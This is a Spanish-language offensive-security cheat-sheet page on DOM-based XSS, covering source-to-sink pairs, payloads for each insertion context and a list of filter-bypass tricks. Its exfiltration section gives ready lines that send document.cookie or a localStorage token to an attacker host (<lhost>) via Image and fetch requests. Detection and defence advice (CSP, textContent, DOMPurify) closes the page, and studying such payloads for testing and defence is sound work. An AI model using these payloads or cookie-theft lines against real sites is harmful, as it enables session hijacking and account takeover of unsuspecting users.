the_open_door
café
ESEN
← Volver al índice

DOM-based XSS

ATT&CKT1059.007
Arsenal completo de comandos en la cheatsheet

El DOM-based XSS es la variante de XSS que ocurre enteramente en el navegador, sin que el servidor intervenga. El JavaScript de la página toma un dato de una fuente controlable (location.search, location.hash, document.referrer, window.name) y lo escribe en un sink peligroso (innerHTML, document.write, eval, jQuery $()) sin sanearlo. La inyección no viaja en la respuesta HTML del servidor: nace del código de cliente, por eso un WAF de servidor no la ve. El payload concreto depende del contexto de inserción, y casi todo el trabajo es encontrar el que escapa del filtro.

Fuente y sink

La clave es identificar el par fuente → sink. Fuentes típicas: location.search/.hash/.href, document.referrer, window.name, postMessage. Sinks peligrosos: innerHTML, outerHTML, document.write, eval, setTimeout/setInterval con cadena, location=, $()/.html() de jQuery. Según el sink cambia el payload porque el contexto es distinto:

// sink document.write con fuente location.search  ->  romper el atributo
#"><img src=x onerror=alert(1)>
// sink innerHTML  ->  las etiquetas <script> no se ejecutan; usar un handler
<img src=0 onerror=alert(document.cookie)>
// sink jQuery selector con evento hashchange
<iframe src="https://<domain>/#" onload="this.src+='<img src=0 onerror=print()>'"></iframe>

Payloads por contexto de inserción

Lo primero es ver dónde cae el dato reflejado y romper ese contexto exacto (vale igual para XSS reflejado del servidor):

<!-- 1) Cuerpo HTML: inyectar una etiqueta directamente -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

<!-- 2) Dentro de un atributo (value="..."): cerrar la comilla y el tag -->
"><svg onload=alert(1)>
' autofocus onfocus=alert(1) x='

<!-- 3) Dentro de <script>...var a='AQUI'...</script>: cerrar la cadena y la sentencia -->
';alert(1);//
</script><script>alert(1)</script>

<!-- 4) En un href/src (contexto URL): esquema javascript: -->
javascript:alert(document.cookie)

<!-- 5) Dentro de un handler ya existente (onmouseover="...AQUI..."): -->
;alert(1);//

Arsenal de bypass de filtros

Cuando se filtran palabras o caracteres, se combinan trucos hasta que uno pasa:

<!-- sin la palabra "script": usar otras etiquetas con evento -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>

<!-- si filtran parentesis: usar backticks o throw/onerror -->
<img src=x onerror="alert`1`">
<script>onerror=alert;throw 1</script>

<!-- si filtran comillas: sin comillas -->
<img src=x onerror=alert(document.cookie)>

<!-- mayus/minus y espacios raros para saltar filtros por palabra -->
<ScRiPt>alert(1)</ScRiPt>
<img/src=x/onerror=alert(1)>

<!-- entidades HTML / codificacion (el navegador las decodifica en el contexto correcto) -->
<a href="javascript:alert(1)">x</a>
<a href="java&#115;cript:alert(1)">x</a>

<!-- romper un filtro no recursivo que quita "<script>" una vez -->
<scr<script>ipt>alert(1)</scr</script>ipt>

Exfiltración

El objetivo real suele ser robar la sesión o pivotar. Una vez ejecuta JS:

// exfiltrar la cookie a un servidor propio
new Image().src='http://<lhost>/?c='+encodeURIComponent(document.cookie)
fetch('http://<lhost>/?c='+btoa(document.cookie))
// si HttpOnly bloquea la cookie: robar tokens del DOM/localStorage o hacer acciones autenticadas
fetch('http://<lhost>/?t='+localStorage.getItem('token'))

Existen dos híbridos habituales: DOM Reflected (la fuente es un parámetro reflejado por JS en la misma carga) y DOM Stored (el dato malicioso se guardó en el servidor, pero es el JavaScript de cliente quien lo pinta en un sink inseguro). En ambos el fallo está en el cliente, no en el render del servidor.

Requisitos. Debe existir un flujo en el que una fuente controlable por el atacante llegue a un sink que interpreta HTML/JS sin escapado. Si el JavaScript usa APIs seguras (textContent, setAttribute) o escapa la entrada, no hay DOM XSS aunque el dato sea inyectable.

Cómo detectarlo. Del lado servidor casi no hay rastro: la carga maliciosa suele ir en el fragmento (#...), que el navegador no envía al servidor, así que no aparece en el log de acceso. Cuando el payload sí viaja en la query (DOM reflejado), el WAF puede ver onerror=, <svg, javascript: o el callback de exfiltración hacia un dominio externo. La detección fiable es de cliente: revisar el flujo de datos hacia los sinks (herramientas como DOM Invader), y una CSP estricta (script-src sin unsafe-inline/unsafe-eval) que registre la violación al bloquear el script y la conexión de exfiltración.

Defensa. Escribir datos con APIs que no interpretan markup (textContent, setAttribute), evitar innerHTML/document.write/eval con datos de fuentes controlables, sanear con una librería como DOMPurify si hay que insertar HTML, y aplicar una CSP sin unsafe-inline. Comparte objetivo (ejecutar JS en la víctima) con el XSS almacenado y la CSTI.

HerramientasXSStrikeBeEF